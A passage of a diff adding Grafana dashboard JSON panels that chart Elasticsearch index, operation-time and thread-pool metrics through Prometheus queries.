+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": true,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_docs_deleted{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}",
+ "metric": "",
+ "refId": "A",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Documents deleted rate",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 0,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "short",
+ "label": "Documents/s",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "decimals": 2,
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 8,
+ "x": 8,
+ "y": 18
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 26,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": false,
+ "show": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": true,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "rate(elasticsearch_indices_merges_docs_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}",
+ "metric": "",
+ "refId": "A",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Documents merged rate",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 0,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "decimals": 2,
+ "format": "short",
+ "label": "Documents/s",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 8,
+ "x": 16,
+ "y": 18
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 52,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": false,
+ "show": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": true,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_merges_total_size_bytes_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}",
+ "metric": "",
+ "refId": "A",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Documents merged bytes",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 0,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "decbytes",
+ "label": "Bytes/s",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Documents",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 7
+ },
+ "id": 98,
+ "panels": [
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 0,
+ "y": 8
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 33,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": true,
+ "show": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_search_query_time_seconds{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval]) ",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}",
+ "metric": "",
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Query time",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 0,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "s",
+ "label": "Time",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 12,
+ "y": 8
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 5,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": true,
+ "show": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_indexing_index_time_seconds_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}",
+ "metric": "",
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Indexing time",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 0,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "s",
+ "label": "Time",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 0,
+ "y": 19
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 3,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": true,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_merges_total_time_seconds_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}",
+ "metric": "",
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Merging time",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "s",
+ "label": "Time",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 12,
+ "y": 19
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 87,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": true,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_store_throttle_time_seconds_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}",
+ "metric": "",
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Throttle time for index store",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "s",
+ "label": "Time",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Times",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 8
+ },
+ "id": 99,
+ "panels": [
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 24,
+ "x": 0,
+ "y": 9
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 48,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": true,
+ "max": true,
+ "min": true,
+ "rightSide": true,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": true,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "rate(elasticsearch_indices_indexing_index_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: indexing",
+ "metric": "",
+ "refId": "A",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "rate(elasticsearch_indices_search_query_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: query",
+ "refId": "B",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "rate(elasticsearch_indices_search_fetch_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: fetch",
+ "refId": "C",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "rate(elasticsearch_indices_merges_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: merges",
+ "refId": "D",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "rate(elasticsearch_indices_refresh_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: refresh",
+ "refId": "E",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "rate(elasticsearch_indices_flush_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: flush",
+ "refId": "F",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "rate(elasticsearch_indices_get_exists_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: get_exists",
+ "refId": "G",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "rate(elasticsearch_indices_get_missing_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: get_missing",
+ "refId": "H",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "rate(elasticsearch_indices_get_tota{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: get",
+ "refId": "I",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "rate(elasticsearch_indices_indexing_delete_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: indexing_delete",
+ "refId": "J",
+ "step": 10
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Total Operations rate",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "short",
+ "label": "Operations/s",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 24,
+ "x": 0,
+ "y": 20
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 49,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": true,
+ "max": true,
+ "min": true,
+ "rightSide": true,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_indexing_index_time_seconds_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: indexing",
+ "metric": "",
+ "refId": "A",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_search_query_time_seconds{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: query",
+ "refId": "B",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_search_fetch_time_seconds{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: fetch",
+ "refId": "C",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_merges_total_time_seconds_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: merges",
+ "refId": "D",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_refresh_time_seconds_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: refresh",
+ "refId": "E",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_flush_time_seconds{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: flush",
+ "refId": "F",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_get_exists_time_seconds{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: get_exists",
+ "refId": "G",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_get_time_seconds{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: get_time",
+ "refId": "H",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_get_missing_time_seconds{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: get_missing",
+ "refId": "I",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_indexing_delete_time_seconds_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: indexing_delete",
+ "refId": "J",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_get_time_seconds{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: get",
+ "refId": "K",
+ "step": 10
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Total Operations time",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "s",
+ "label": "Time",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Total Operations stats",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 9
+ },
+ "id": 100,
+ "panels": [
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "gridPos": {
+ "h": 20,
+ "w": 6,
+ "x": 0,
+ "y": 10
+ },
+ "hiddenSeries": false,
+ "id": 45,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": false,
+ "hideZero": true,
+ "max": true,
+ "min": true,
+ "show": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_thread_pool_rejected_count{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: {{ type }}",
+ "refId": "A",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Thread Pool operations rejected",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "individual"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": true
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "gridPos": {
+ "h": 20,
+ "w": 6,
+ "x": 6,
+ "y": 10
+ },
+ "hiddenSeries": false,
+ "id": 46,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": false,
+ "hideZero": true,
+ "max": true,
+ "min": true,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_thread_pool_active_count{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: {{ type }}",
+ "refId": "A",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Thread Pool operations queued",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "individual"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": true
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "gridPos": {
+ "h": 20,
+ "w": 6,
+ "x": 12,
+ "y": 10
+ },
+ "height": "",
+ "hiddenSeries": false,
+ "id": 43,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": false,
+ "hideZero": true,
+ "max": true,
+ "min": true,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_thread_pool_active_count{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: {{ type }}",
+ "refId": "A",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Thread Pool threads active",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
